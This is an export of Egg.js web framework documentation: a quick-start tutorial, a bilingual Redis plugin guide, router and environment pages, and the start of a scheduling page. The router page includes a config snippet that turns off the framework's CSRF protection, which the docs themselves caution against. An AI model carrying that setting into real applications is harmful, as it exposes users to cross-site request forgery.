  "scripts": {
    "dev": "egg-bin dev"
  }
}
```

### Create a Controller

If you are familiar with the MVC architecture,
you might have already guessed that the first thing to create
is a [controller](../basics/controller.md) and [router](../basics/router.md).

```js
// app/controller/home.js
const Controller = require('egg').Controller;

class HomeController extends Controller {
  async index() {
    this.ctx.body = 'Hello world';
  }
}

module.exports = HomeController;
```

Then edit the router file and add a mapping.

```js
// app/router.js
module.exports = (app) => {
  const { router, controller } = app;
  router.get('/', controller.home.index);
};
```

Then add a [configuration](../basics/config.md) file:

```js
// config/config.default.js
exports.keys = <YOUR_SECURITY_COOKIE_KEYS>;
```

The project directory looks like this:

```bash
egg-example
├── app
│   ├── controller
│   │   └── home.js
│   └── router.js
├── config
│   └── config.default.js
└── package.json
```

For more information about directory structure, see [Directory Structure](../basics/structure.md).

Now you can start up the Web Server and see your application in action.

```bash
npm run dev
open http://localhost:7001
```

> Note：
>
> * You could write `Controller` with `class` or `exports` style, see more detail at [Controller](../basics/controller.md).
> * And `Config` could write with `module.exports` or `exports` style, see more detail at [Node.js modules docs](https://nodejs.org/api/modules.html#modules_exports_shortcut).

### Adding Static Assets

Egg has a built-in plugin called [static][@eggjs/static].
In production, it is recommended that you deploy static assets to CDN instead of using this plugin.

[static][@eggjs/static] maps `/public/*` to the directory `app/public/*` by default.

In this case, we just need to put our static assets into the directory `app/public`.

```bash
app/public
├── css
│   └── news.css
└── js
    ├── lib.js
    └── news.js
```

### Adding Templates for Rendering

In most cases, data are usually read, processed and rendered by the templates before being presented to the user.
Thus we need to introduce corresponding template engines to handle it.

Egg does not force to use any particular template engines,
but specifies the [View Plugins Specification](../advanced/view-plugin.md)
to allow the developers to use different plugins for their individual needs instead.

For more information, cf. [View](../core/view.md).

In this example, we will use [Nunjucks].

First install the corresponding plugin [egg-view-nunjucks].

```bash
npm i egg-view-nunjucks --save
```

And enable it.

```js
// config/plugin.js
exports.nunjucks = {
  enable: true,
  package: 'egg-view-nunjucks',
};
```

```js
// config/config.default.js
exports.keys = <YOUR_SECURITY_COOKE_KEYS>;
// add view's configurations
exports.view = {
  defaultViewEngine: 'nunjucks',
  mapping: {
    '.tpl': 'nunjucks',
  },
};
```

**Carefully! `config` dir, not `app/config`!**

Then create a template for the index page.
This usually goes to the app/view directory.

```html
<!-- app/view/news/list.tpl -->
<html>
  <head>
    <title>Egg HackerNews Clone</title>
    <link rel="stylesheet" href="/public/css/news.css" />
  </head>
  <body>
    <ul class="news-view view">
      {% for item in list %}
      <li class="item">
        <a href="{{ item.url }}">{{ item.title }}</a>
      </li>
      {% endfor %}
    </ul>
  </body>
</html>
```

Then add a controller and router.

```js
// app/controller/news.js
const Controller = require('egg').Controller;

class NewsController extends Controller {
  async list() {
    const dataList = {
      list: [
        { id: 1, title: 'this is news 1', url: '/news/1' },
        { id: 2, title: 'this is news 2', url: '/news/2' },
      ],
    };
    await this.ctx.render('news/list.tpl', dataList);
  }
}

module.exports = NewsController;

// app/router.js
module.exports = (app) => {
  const { router, controller } = app;
  router.get('/', controller.home.index);
  router.get('/news', controller.news.list);
};
```

Open a browser window and navigate to <http://localhost:7001/news>.
You should be able to see the rendered page.

**Tip：In development, Egg enables the [development][@eggjs/development] plugin by default, which reloads your worker process when changes are made to your back-end code.**

### Create a Service

In practice, controllers usually won't generate data on their own,
neither will they contain complicated business logic.
Complicated business logic should be abstracted as
a busineess logic layer instead, i.e., [service](../basics/service.md).

Let's create a service to fetch data from the
[HackerNews](https://github.com/HackerNews/API).

```js
// app/service/news.js
const Service = require('egg').Service;

class NewsService extends Service {
  async list(page = 1) {
    // read config
    const { serverUrl, pageSize } = this.config.news;

    // use build-in http client to GET hacker-news api
    const { data: idList } = await this.ctx.curl(
      `${serverUrl}/topstories.json`,
      {
        data: {
          orderBy: '"$key"',
          startAt: `"${pageSize * (page - 1)}"`,
          endAt: `"${pageSize * page - 1}"`,
        },
        dataType: 'json',
      },
    );

    // parallel GET detail
    const newsList = await Promise.all(
      Object.keys(idList).map(async (key) => {
        const url = `${serverUrl}/item/${idList[key]}.json`;
        return await this.ctx.curl(url, { dataType: 'json' });
      }),
    );
    return newsList.map((res) => res.data);
  }
}

module.exports = NewsService;
```

> Egg has [HttpClient](../core/httpclient.md) built in in order to help you make HTTP requests.

Then slightly modify our previous controller.

```js
// app/controller/news.js
const Controller = require('egg').Controller;

class NewsController extends Controller {
  async list() {
    const ctx = this.ctx;
    const page = ctx.query.page || 1;
    const newsList = await ctx.service.news.list(page);
    await ctx.render('news/list.tpl', { list: newsList });
  }
}

module.exports = NewsController;
```

And also add config.

```js
// config/config.default.js
// add news' configurations
exports.news = {
  pageSize: 5,
  serverUrl: 'https://hacker-news.firebaseio.com/v0',
};
```

### Adding Extensions

We might encounter a small problem here.
The time that we fetched are Unix Time format,
whereas we want to present them in a more friendly way to read.

Egg provides us with a quick way to extend its functionalities.
We just need to add extension scripts to the `app/extend` directory.
For more information, cf. [Extensions](../basics/extend.md).

In the case of view, we can just write a helper as an extension.

```bash
npm i moment --save
```

```js
// app/extend/helper.js
const moment = require('moment');
exports.relativeTime = (time) => moment(new Date(time * 1000)).fromNow();
```

Then use it in the templates.

```html
<!-- app/view/news/list.tpl -->
{{ helper.relativeTime(item.time) }}
```

### Adding Middlewares

Suppose that we wanted to prohibit accesses from Baidu crawlers.

Smart developers might quickly guess that we can achieve it by adding a [middleware](../basics/middleware.md)
that checks the User-Agent.

```js
// app/middleware/robot.js
// options === app.config.robot
module.exports = (options, app) => {
  return async function robotMiddleware(ctx, next) {
    const source = ctx.get('user-agent') || '';
    const match = options.ua.some((ua) => ua.test(source));
    if (match) {
      ctx.status = 403;
      ctx.message = 'Go away, robot.';
    } else {
      await next();
    }
  };
};

// config/config.default.js
// add middleware robot
exports.middleware = ['robot'];
// robot's configurations
exports.robot = {
  ua: [/Baiduspider/i],
};
```

Now try it using `curl localhost:7001/news -A "Baiduspider"`.

See [Middleware](../basics/middleware.md) for more details.

### Adding Configurations

When writing business logic,
it is inevitable that we need to manage configurations.
Egg provides a powerful way to manage them in a merged configuration file.

* Environment-specific configuration files are well supported, e.g. config.local.js, config.prod.js, etc.
* Configurations could be set wherever convenient for Applications/Plugins/Frameworks, and Egg will be careful to merge and load them.
* For more information on merging, see [Configurations](../basics/config.md).

```js
// config/config.default.js
exports.robot = {
  ua: [/curl/i, /Baiduspider/i],
};

// config/config.local.js
// only read at development mode, will override default
exports.robot = {
  ua: [/Baiduspider/i],
};

// app/service/some.js
const Service = require('egg').Service;

class SomeService extends Service {
  async list() {
    const rule = this.config.robot.ua;
  }
}

module.exports = SomeService;
```

### Adding Unit Testing

Unit Testing is very important, and Egg also provides [egg-bin] to help you write tests painless.

All the test files should be placed at `{app_root}/test/**/*.test.js`.

```js
// test/app/middleware/robot.test.js
const { app, mock, assert } = require('egg-mock/bootstrap');

describe('test/app/middleware/robot.test.js', () => {
  it('should block robot', () => {
    return app
      .httpRequest()
      .get('/')
      .set('User-Agent', 'Baiduspider')
      .expect(403);
  });
});
```

Then add `npm scripts`.

```json
{
  "scripts": {
    "test": "egg-bin test",
    "cov": "egg-bin cov"
  }
}
```

Also install dependencies.

```bash
npm i egg-mock --save-dev
```

Run it.

```bash
npm test
```

That is all of it, for more detail, see [Unit Testing](../core/unittest.md).

## Conclusions

We can only touch the tip of the iceberg of Egg with the above short sections.
Where to go from here? read our documentation to better understand the framework.

* About Egg boilerplate type, See [Boilerplate Type Description](../tutorials/).
* Egg provides a powerful mechanism for extending features. See [Plugin](../basics/plugin.md).
* Egg framework allows small or large teams to work together as fast as possible under the well-documented conventions and coding best practices. In addition, the teams can build up logics on top of the framework to better suit their special needs. See more on [Frameworks](../advanced/framework.md).
* Egg framework provides code reusabilities and modularities. See details at [Progressive](../intro/progressive.md).
* Egg framework enables developers to write painless unit testing with many plugins and community-powered toolings. The team should give it a try by using Egg unit testing without worrying about setting up the testing tooling but writing the testing logics. See [Unit Testing](../core/unittest.md).

[node.js]: http://nodejs.org

[egg-bin]: https://github.com/eggjs/egg-bin

[@eggjs/static]: https://github.com/eggjs/static

[@eggjs/development]: https://github.com/eggjs/development

[egg-view-nunjucks]: https://github.com/eggjs/egg-view-nunjucks

[nunjucks]: https://mozilla.github.io/nunjucks/

---

---
url: /tutorials/redis.md
---

[Redis](https://redis.io/) is a high-performance in-memory data store widely used for caching, session management, message queues, and more.

## @eggjs/redis

The framework provides the [@eggjs/redis](https://github.com/eggjs/egg/tree/next/plugins/redis) plugin to access Redis. This plugin is based on [ioredis](https://github.com/redis/ioredis) and supports single client, multi-client, and cluster modes.

### Installation and Configuration

Install the plugin:

```bash
npm i @eggjs/redis
```

Enable the plugin:

```ts
// config/plugin.ts
export default {
  redis: {
    enable: true,
    package: '@eggjs/redis',
  },
};
```

#### Single Client

```ts
// config/config.default.ts
export default function () {
  return {
    redis: {
      client: {
        host: '127.0.0.1',
        port: 6379,
        password: '',
        db: 0,
      },
    },
  };
}
```

#### Multi Client

```ts
// config/config.default.ts
export default function () {
  return {
    redis: {
      clients: {
        cache: {
          host: '127.0.0.1',
          port: 6379,
          password: '',
          db: 0,
        },
        session: {
          host: '127.0.0.1',
          port: 6379,
          password: '',
          db: 1,
        },
      },
    },
  };
}
```

#### Cluster Mode

```ts
// config/config.default.ts
export default function () {
  return {
    redis: {
      client: {
        cluster: true,
        nodes: [
          { host: '127.0.0.1', port: 6380 },
          { host: '127.0.0.1', port: 6381 },
        ],
      },
    },
  };
}
```

### Usage

#### Single Client

```ts
// app/controller/home.ts
import { Context } from 'egg';

export default class HomeController {
  async index(ctx: Context) {
    // set a value
    await ctx.app.redis.set('foo', 'bar');

    // get a value
    const value = await ctx.app.redis.get('foo');

    // set with expiration (seconds)
    await ctx.app.redis.setex('temp', 60, 'expires in 60s');

    // delete a key
    await ctx.app.redis.del('foo');

    ctx.body = value;
  }
}
```

#### Multi Client

When using multi-client mode, access each client via `app.redis.getSingletonInstance('clientName')`:

```ts
// app/controller/home.ts
import { Context } from 'egg';

export default class HomeController {
  async index(ctx: Context) {
    const cache = ctx.app.redis.getSingletonInstance('cache');
    const session = ctx.app.redis.getSingletonInstance('session');

    await cache.set('key', 'value');
    await session.set('sid', 'session-data');

    ctx.body = await cache.get('key');
  }
}
```

### Common Commands

The plugin supports all [ioredis commands](https://redis.github.io/ioredis/classes/Redis.html). Here are some commonly used ones:

| Command    | Description                   | Example                                      |
| ---------- | ----------------------------- | -------------------------------------------- |
| `set`      | Set a key-value pair          | `await redis.set('key', 'value')`            |
| `get`      | Get a value by key            | `await redis.get('key')`                     |
| `setex`    | Set with expiration (seconds) | `await redis.setex('key', 60, 'value')`      |
| `del`      | Delete a key                  | `await redis.del('key')`                     |
| `incr`     | Increment a number            | `await redis.incr('counter')`                |
| `hset`     | Set a hash field              | `await redis.hset('hash', 'field', 'value')` |
| `hget`     | Get a hash field              | `await redis.hget('hash', 'field')`          |
| `lpush`    | Push to a list                | `await redis.lpush('list', 'value')`         |
| `lpop`     | Pop from a list               | `await redis.lpop('list')`                   |
| `sadd`     | Add to a set                  | `await redis.sadd('set', 'member')`          |
| `smembers` | Get all set members           | `await redis.smembers('set')`                |
| `zadd`     | Add to a sorted set           | `await redis.zadd('zset', 1, 'member')`      |

### Using ioredis-mock for Unit Tests

You can use [ioredis-mock](https://github.com/stipsan/ioredis-mock) to replace the real Redis client in unit tests. This eliminates the need for a running Redis server during testing.

#### Install

```bash
npm i --save-dev ioredis-mock @types/ioredis-mock
```

#### Configure

```ts
// config/config.unittest.ts
import RedisMock from 'ioredis-mock';
import type { EggAppInfo, PartialEggConfig } from 'egg';

export default function (_appInfo: EggAppInfo): PartialEggConfig {
  return {
    redis: {
      Redis: RedisMock,
      client: {
        host: '127.0.0.1',
        port: 6379,
        password: '',
        db: 0,
        weakDependent: true,
      },
    },
  };
}
```

> **Important**: You must set `weakDependent: true` when using `ioredis-mock`. Mock clients emit the `ready` event synchronously during construction, before the plugin's listener is attached. Without `weakDependent: true`, the app will hang on startup.

#### Benefits

* **Faster CI**: No need to spin up Redis Docker containers
* **Simpler local dev**: No Redis server required for running tests
* **Isolated**: Each test worker gets its own in-memory Redis instance
* **Compatible**: Supports most common Redis commands

> **Note**: For production deployment testing, you should still use a real Redis server.

### Advanced Configuration

#### Weak Dependent

If your application can start without Redis being ready (e.g., Redis is used as a cache and is not critical):

```ts
// config/config.default.ts
export default function () {
  return {
    redis: {
      client: {
        host: '127.0.0.1',
        port: 6379,
        password: '',
        db: 0,
        weakDependent: true, // app start won't wait for Redis to be ready
      },
    },
  };
}
```

#### Using Valkey

[Valkey](https://valkey.io/) is a Redis-compatible fork. You can use it with the `Redis` config option:

```ts
import Valkey from 'iovalkey';

export default function () {
  return {
    redis: {
      Redis: Valkey,
      client: {
        host: '127.0.0.1',
        port: 6379,
        password: '',
        db: 0,
      },
    },
  };
}
```

---

---
url: /zh-CN/tutorials/redis.md
---
# Redis

[Redis](https://redis.io/) 是一个高性能的内存数据存储，广泛用于缓存、会话管理、消息队列等场景。

## @eggjs/redis

框架提供了 [@eggjs/redis](https://github.com/eggjs/egg/tree/next/plugins/redis) 插件来访问 Redis。该插件基于 [ioredis](https://github.com/redis/ioredis)，支持单客户端、多客户端和集群模式。

### 安装与配置

安装插件：

```bash
npm i @eggjs/redis
```

开启插件：

```ts
// config/plugin.ts
export default {
  redis: {
    enable: true,
    package: '@eggjs/redis',
  },
};
```

#### 单客户端

```ts
// config/config.default.ts
export default function () {
  return {
    redis: {
      client: {
        host: '127.0.0.1',
        port: 6379,
        password: '',
        db: 0,
      },
    },
  };
}
```

#### 多客户端

```ts
// config/config.default.ts
export default function () {
  return {
    redis: {
      clients: {
        cache: {
          host: '127.0.0.1',
          port: 6379,
          password: '',
          db: 0,
        },
        session: {
          host: '127.0.0.1',
          port: 6379,
          password: '',
          db: 1,
        },
      },
    },
  };
}
```

#### 集群模式

```ts
// config/config.default.ts
export default function () {
  return {
    redis: {
      client: {
        cluster: true,
        nodes: [
          { host: '127.0.0.1', port: 6380 },
          { host: '127.0.0.1', port: 6381 },
        ],
      },
    },
  };
}
```

### 使用方式

#### 单客户端

```ts
// app/controller/home.ts
import { Context } from 'egg';

export default class HomeController {
  async index(ctx: Context) {
    // 设置值
    await ctx.app.redis.set('foo', 'bar');

    // 获取值
    const value = await ctx.app.redis.get('foo');

    // 设置值并指定过期时间（秒）
    await ctx.app.redis.setex('temp', 60, '60秒后过期');

    // 删除键
    await ctx.app.redis.del('foo');

    ctx.body = value;
  }
}
```

#### 多客户端

使用多客户端模式时，通过 `app.redis.getSingletonInstance('clientName')` 获取对应的客户端实例：

```ts
// app/controller/home.ts
import { Context } from 'egg';

export default class HomeController {
  async index(ctx: Context) {
    const cache = ctx.app.redis.getSingletonInstance('cache');
    const session = ctx.app.redis.getSingletonInstance('session');

    await cache.set('key', 'value');
    await session.set('sid', 'session-data');

    ctx.body = await cache.get('key');
  }
}
```

### 常用命令

插件支持所有 [ioredis 命令](https://redis.github.io/ioredis/classes/Redis.html)。以下是一些常用命令：

| 命令       | 说明                       | 示例                                         |
| ---------- | -------------------------- | -------------------------------------------- |
| `set`      | 设置键值对                 | `await redis.set('key', 'value')`            |
| `get`      | 获取值                     | `await redis.get('key')`                     |
| `setex`    | 设置值并指定过期时间（秒） | `await redis.setex('key', 60, 'value')`      |
| `del`      | 删除键                     | `await redis.del('key')`                     |
| `incr`     | 自增                       | `await redis.incr('counter')`                |
| `hset`     | 设置哈希字段               | `await redis.hset('hash', 'field', 'value')` |
| `hget`     | 获取哈希字段               | `await redis.hget('hash', 'field')`          |
| `lpush`    | 从左侧推入列表             | `await redis.lpush('list', 'value')`         |
| `lpop`     | 从左侧弹出列表             | `await redis.lpop('list')`                   |
| `sadd`     | 添加集合成员               | `await redis.sadd('set', 'member')`          |
| `smembers` | 获取集合所有成员           | `await redis.smembers('set')`                |
| `zadd`     | 添加有序集合成员           | `await redis.zadd('zset', 1, 'member')`      |

### 在单元测试中使用 ioredis-mock

你可以使用 [ioredis-mock](https://github.com/stipsan/ioredis-mock) 在单元测试中替代真实的 Redis 客户端，无需运行 Redis 服务器即可进行测试。

#### 安装

```bash
npm i --save-dev ioredis-mock @types/ioredis-mock
```

#### 配置

```ts
// config/config.unittest.ts
import RedisMock from 'ioredis-mock';
import type { EggAppInfo, PartialEggConfig } from 'egg';

export default function (_appInfo: EggAppInfo): PartialEggConfig {
  return {
    redis: {
      Redis: RedisMock,
      client: {
        host: '127.0.0.1',
        port: 6379,
        password: '',
        db: 0,
        weakDependent: true,
      },
    },
  };
}
```

> **重要**：使用 `ioredis-mock` 时必须设置 `weakDependent: true`。Mock 客户端会在构造时同步触发 `ready` 事件，早于插件的监听器注册。如果不设置 `weakDependent: true`，应用启动时会挂起。

#### 优势

* **更快的 CI**：无需启动 Redis Docker 容器
* **更简单的本地开发**：运行测试不需要 Redis 服务器
* **隔离性**：每个测试 worker 拥有独立的内存 Redis 实例
* **兼容性**：支持大部分常用 Redis 命令

> **注意**：生产环境部署测试仍应使用真实的 Redis 服务器。

### 高级配置

#### 弱依赖模式

如果你的应用可以在 Redis 未就绪时启动（例如 Redis 仅用作缓存，非关键依赖）：

```ts
// config/config.default.ts
export default function () {
  return {
    redis: {
      client: {
        host: '127.0.0.1',
        port: 6379,
        password: '',
        db: 0,
        weakDependent: true, // 应用启动不会等待 Redis 就绪
      },
    },
  };
}
```

#### 使用 Valkey

[Valkey](https://valkey.io/) 是 Redis 的兼容分支。可以通过 `Redis` 配置项使用：

```ts
import Valkey from 'iovalkey';

export default function () {
  return {
    redis: {
      Redis: Valkey,
      client: {
        host: '127.0.0.1',
        port: 6379,
        password: '',
        db: 0,
      },
    },
  };
}
```

---

---
url: /basics/router.md
---

Router is mainly used to describe the corresponding relationship between the request URL and the Controller that processes the request eventually. All routing rules are unified in the `app/router.js` file by the framework.

By unifying routing rules, we can avoid the routing logics scattered in many places which may cause many unknown conflicts, and we can more easily check global routing rules.

## How to Define Router

* Define the routing rule in `app/router.js` file

```js
// app/router.js
module.exports = (app) => {
  const { router, controller } = app;
  router.get('/user/:id', controller.user.info);
};
```

* Implement the Controller in `app/controller` directory

```js
// app/controller/user.js
class UserController extends Controller {
  async info() {
    const { ctx } = this;
    ctx.body = {
      name: `hello ${ctx.params.id}`,
    };
  }
}
```

This simplest Router is done by now, when users do the request `GET /user/123`, the info function in `user.js` will be invoked.

## Router Config in Detail

Below is the complete definition of router, parameters can be determined depending on different scenes.

```js
router.verb('path-match', app.controller.action);
router.verb('router-name', 'path-match', app.controller.action);
router.verb('path-match', middleware1, ..., middlewareN, app.controller.action);
router.verb('router-name', 'path-match', middleware1, ..., middlewareN, app.controller.action);
```

The complete definition of router includes 5 major parts:

* verb - actions that users trigger, including get, post and so on, and will be explained in detail later.
  * router.head - HEAD
  * router.options - OPTIONS
  * router.get - GET
  * router.put - PUT
  * router.post - POST
  * router.patch - PATCH
  * router.delete - DELETE
  * router.del - this is a alias method due to the reservation of delete.
  * router.redirect - redirects the request URL. For example, the most common case is to redirect the request accessing the root directory to the homepage.
* router-name defines a alias for the route, and URL can be generated by helper method `pathFor` and `urlFor` provided by Helper. (Optional)
* path-match - URL path of the route.
* middleware1 - multiple Middlewares can be configured in Router. (Optional)
* controller - set the route to map to the specific controller, and the controller can be written in two types:
  * `app.controller.user.fetch` - directly point to a controller
  * `'user.fetch'` - simplified as a string,

### Notices

* multiple Middlewares can be configured to execute serially in Router definition
* Controller must be defined under `app/controller` directory
* multiple Controllers can be defined within one file, and the specific one can be specified in the form of `${fileName}.${functionName}` when defining the routing rule.
* Controller supports sub-directories, and the specific one can be specified in the form of `${directoryName}.${fileName}.${functionName}` when defining the routing rule.

Here are some examples of writing routing rules:

```js
// app/router.js
module.exports = (app) => {
  const { router, controller } = app;
  router.get('/home', controller.home);
  router.get('/user/:id', controller.user.page);
  router.post('/admin', isAdmin, controller.admin);
  router.post('/user', isLoginUser, hasAdminPermission, controller.user.create);
  router.post('/api/v1/comments', controller.v1.comments.create); // app/controller/v1/comments.js
};
```

### RESTful Style URL Definition

We provide `app.router.resources('routerName', 'pathMatch', 'controller')` to generate [CRUD](https://en.wikipedia.org/wiki/Create,_read,_update_and_delete) structures on a path for convenience if you prefer the RESTful style URL definition.

```js
// app/router.js
module.exports = (app) => {
  const { router, controller } = app;
  router.resources('posts', '/posts', controller.posts);
  router.resources('users', '/api/v1/users', controller.v1.users); // app/controller/v1/users.js
};
```

The codes above produce a bunch of CRUD path structures for Controller `app/controller/posts.js`, and the only thing you should do next is to implement related functions in `posts.js`.

| Method | Path            | Route Name | Controller.Action             |
| ------ | --------------- | ---------- | ----------------------------- |
| GET    | /posts          | posts      | app.controllers.posts.index   |
| GET    | /posts/new      | new\_post   | app.controllers.posts.new     |
| GET    | /posts/:id      | post       | app.controllers.posts.show    |
| GET    | /posts/:id/edit | edit\_post  | app.controllers.posts.edit    |
| POST   | /posts          | posts      | app.controllers.posts.create  |
| PATCH  | /posts/:id      | post       | app.controllers.posts.update  |
| DELETE | /posts/:id      | post       | app.controllers.posts.destroy |

```js
// app/controller/posts.js
exports.index = async () => {};

exports.new = async () => {};

exports.create = async () => {};

exports.show = async () => {};

exports.edit = async () => {};

exports.update = async () => {};

exports.destroy = async () => {};
```

Methods that are not needed may not be implemented in `posts.js` and the related URL paths will not be registered to Router neither.

## Router in Action

More practical examples will be shown below to demonstrate how to use the router.

#### Acquiring Parameters

#### Via Query String

```js
// app/router.js
module.exports = (app) => {
  app.router.get('/search', app.controller.search.index);
};

// app/controller/search.js
exports.index = async (ctx) => {
  ctx.body = `search: ${ctx.query.name}`;
};

// curl http://127.0.0.1:7001/search?name=egg
```

#### Via Named Parameters

```js
// app/router.js
module.exports = (app) => {
  app.router.get('/user/:id/:name', app.controller.user.info);
};

// app/controller/user.js
exports.info = async (ctx) => {
  ctx.body = `user: ${ctx.params.id}, ${ctx.params.name}`;
};

// curl http://127.0.0.1:7001/user/123/xiaoming
```

#### Acquiring Complex Parameters

Regular expressions, as well, can be used in routing rules to acquire parameters more flexibly:

```js
// app/router.js
module.exports = (app) => {
  app.router.get(
    /^\/package\/([\w-.]+\/[\w-.]+)$/,
    app.controller.package.detail,
  );
};

// app/controller/package.js
exports.detail = async (ctx) => {
  // If the request URL is matched by the regular expression, parameters can be acquired from ctx.params according to the capture group orders.
  // For the user request below, for example, the value of `ctx.params[0]` is `egg/1.0.0`
  ctx.body = `package:${ctx.params[0]}`;
};

// curl http://127.0.0.1:7001/package/egg/1.0.0
```

### Acquiring Form Contents

```js
// app/router.js
module.exports = (app) => {
  app.router.post('/form', app.controller.form.post);
};

// app/controller/form.js
exports.post = async (ctx) => {
  ctx.body = `body: ${JSON.stringify(ctx.request.body)}`;
};

// simulate a post request.
// curl -X POST http://127.0.0.1:7001/form --data '{"name":"controller"}' --header 'Content-Type:application/json'
```

> P.S.:

> If you perform a POST request directly, an **error** will occur: 'secret is missing'. This error message comes from [koa-csrf/index.js#L69](https://github.com/koajs/csrf/blob/2.5.0/index.js#L69).

> **Reason**: the framework verifies the CSRF value specially for form POST requests, so please submit the CSRF key as well when you submit a form. Refer to [Keep Away from CSRF Threat](https://eggjs.org/zh-cn/core/security.html#安全威胁csrf的防范) for more detail.

> **Note**: the verification is performed because the framework builds in a security plugin [@eggjs/security](https://github.com/eggjs/security) that provides some default security practices and this plugin is enabled by default. In case you want to disable some security protections, just set the enable attribute to false.

> "Unless you clearly confirm the consequence, it's not recommended to disable functions provided by the security plugin"

> Here we do the config temporarily in `config/config.default.js` for an example

```
exports.security = {
  csrf: false
};
```

### Form Verification

```js
// app/router.js
module.exports = (app) => {
  app.router.post('/user', app.controller.user);
};

// app/controller/user.js
const createRule = {
  username: {
    type: 'email',
  },
  password: {
    type: 'password',
    compare: 're-password',
  },
};

exports.create = async (ctx) => {
  // throws exceptions if the verification fails
  ctx.validate(createRule);
  ctx.body = ctx.request.body;
};

// curl -X POST http://127.0.0.1:7001/user --data 'username=abc@abc.com&password=111111&re-password=111111'
```

### Redirection

#### Internal Redirection

```js
// app/router.js
module.exports = (app) => {
  app.router.get('index', '/home/index', app.controller.home.index);
  app.redirect('/', '/home/index', 302);
};

// app/controller/home.js
exports.index = async (ctx) => {
  ctx.body = 'hello controller';
};

// curl -L http://localhost:7001
```

#### External Redirection

```js
// app/router.js
module.exports = (app) => {
  app.router.get('/search', app.controller.search.index);
};

// app/controller/search.js
exports.index = async (ctx) => {
  const type = ctx.query.type;
  const q = ctx.query.q || 'nodejs';

  if (type === 'bing') {
    ctx.redirect(`http://cn.bing.com/search?q=${q}`);
  } else {
    ctx.redirect(`https://www.google.co.kr/search?q=${q}`);
  }
};

// curl http://localhost:7001/search?type=bing&q=node.js
// curl http://localhost:7001/search?q=node.js
```

### Using Middleware

A middleware can be used to change the request parameter to uppercase.
Here we just briefly explain how to use the middleware, and refer to [Middleware](./middleware.md) for detail.

```js
// app/controller/search.js
exports.index = async (ctx) => {
  ctx.body = `search: ${ctx.query.name}`;
};

// app/middleware/uppercase.js
module.exports = () => {
  return async function uppercase(ctx, next) {
    ctx.query.name = ctx.query.name && ctx.query.name.toUpperCase();
    await next();
  };
};

// app/router.js
module.exports = (app) => {
  app.router.get(
    's',
    '/search',
    app.middleware.uppercase(),
    app.controller.search,
  );
};

// curl http://localhost:7001/search?name=egg
```

### Too Many Routing Maps?

As described above, we do not recommend that you scatter routing logics all around, or it will bring trouble in trouble shooting.

If there is a need for some reasons, you can split routing rules like below:

```js
// app/router.js
module.exports = (app) => {
  require('./router/news')(app);
  require('./router/admin')(app);
};

// app/router/news.js
module.exports = (app) => {
  app.router.get('/news/list', app.controller.news.list);
  app.router.get('/news/detail', app.controller.news.detail);
};

// app/router/admin.js
module.exports = (app) => {
  app.router.get('/admin/user', app.controller.admin.user);
  app.router.get('/admin/log', app.controller.admin.log);
};
```

or using [egg-router-plus](https://github.com/eggjs/egg-router-plus).

---

---
url: /basics/env.md
---

An web application itself should be stateless and has the ability to set its own according to the runtime environment.

## Configure Runtime Environment

Egg has two ways to configure runtime environment:

1. Use `config/env` file, usually we use the build tools to generate this file, the content of this file is just an env value, such as `prod`.

```
// config/env
prod
```

2. Defining the runtime environment via `EGG_SERVER_ENV` when you start the application is more convenient, for example, use the code below to start the application in the production environment.

```shell
EGG_SERVER_ENV=prod npm start
```

## Access to the Runtime Environment in Application

Egg provides a variable `app.config.env` to represent the current runtime environment of application.

## Configurations of Runtime Environment

Different running environment corresponds to different configurations, read [Configuration of Config](./config.md) in detail.

## Difference from `NODE_ENV`

Lots of Node.js applications use `NODE_ENV` to distinguish the runtime environment, but `EGG_SERVER_ENV` distinguishes the environments much more specific. Generally speaking, there are local environment, test environment, production environment during the application development. In addition to the local development environment and the test environment, other environments are collectively referred to as the **Server Environment** and their `NODE_ENV` should be set to `production`. What's more, npm will use this variable and will not install the devDependencies when you deploy applications, so `production` should also be applied.

Default mapping of `EGG_SERVER_ENV` and `NODE_ENV` (will generate `EGG_SERVER_ENV` from `NODE_ENV` setting if `EGG_SERVER_ENV` is not specified)

| NODE\_ENV   | EGG\_SERVER\_ENV | remarks                       |
| ---------- | -------------- | ----------------------------- |
|            | local          | local development environment |
| test       | unittest       | unit test environment         |
| production | prod           | production environment        |

For example, `EGG_SERVER_ENV` will be set to prod when `NODE_ENV` is set as `production` and `EGG_SERVER_ENV` is not specified.

## Environment Customization

In normal development process, it's not limit to these environments mentioned above. So you can customize environment for your development process.

For example, if you want to add SIT (System integration testing) to development process, you can set `EGG_SERVER_ENV` to `sit` (also recommend to set `NODE_ENV = production`), the framework will load `config/config.sit.js` when launching, and the runtime environment `app.config.env` will be `sit`.

## Difference from Koa

We are using `app.env` to distinguish the environments in Koa, and the default value for `app.env` is `process.env.NODE_ENV`. But in Egg (and frameworks base on Egg), we put all the configurations in `app.config`, so we should use `app.config.env` to distinguish the environments, `app.env` is no longer used.

---

---
url: /basics/schedule.md
---
# Schedule Controller

## Use Cases

Supports regular scheduled tasks that will execute on every deployed machine.

## Usage

:::warning
⚠️ Note: **Do not place your code in the `app/schedule` path**, because Egg scans this path by default to register scheduled tasks, which will conflict with the decorator-based approach.
:::

### Regular Scheduled Tasks

Regular scheduled tasks will execute the scheduling logic on every deployed machine. For example, if an application is typically deployed on at least 2 machines in a production environment, the scheduled task will run on both machines.

Use the `Schedule` decorator to mark a class as a scheduled task controller. The class must contain a method named `subscribe`. When the framework schedules the task execution, it will call the `subscribe` method of the `Schedule` annotated class.

#### Enable Plugin

Built-in plugin, enabled by default.

```typescript
export default {
  teggSchedule: true,
};
```

#### Interval Mode

Regular scheduled tasks can be configured in `interval` mode, which means they execute once on each machine at specified intervals. The interval is set through the `scheduleData.interval` parameter of the `Schedule` decorator.

* When `interval` is a number type, the unit is milliseconds, e.g., `100`.
* When `interval` is a string type, it will be converted to milliseconds using [ms](https://github.com/vercel/ms), e.g., `5s`.

```typescript
// app/port/schedule/Demo.ts
import { Inject, Logger } from 'egg';
import { IntervalParams, Schedule, ScheduleType } from 'egg/schedule';

@Schedule<IntervalParams>({
  type: ScheduleType.WORKER,
  scheduleData: {
    interval: 100, // Execute every 100ms
    // interval: '5s', // Execute every 5s
  },
})
export class IntervalScheduler {
  @Inject()
  private logger: Logger;

  async subscribe() {
    this.logger.info('schedule called');
  }
}
```

#### Cron Mode

Regular scheduled tasks also support cron expression mode, which executes scheduled tasks according to cron expression rules. For cron expression syntax, please refer to [cron-parser](https://github.com/harrisiirak/cron-parser).

```text
*    *    *    *    *    *
┬    ┬    ┬    ┬    ┬    ┬
│    │    │    │    │    |
│    │    │    │    │    └ day of week (0 - 7) (0 or 7 is Sun)
│    │    │    │    └───── month (1 - 12)
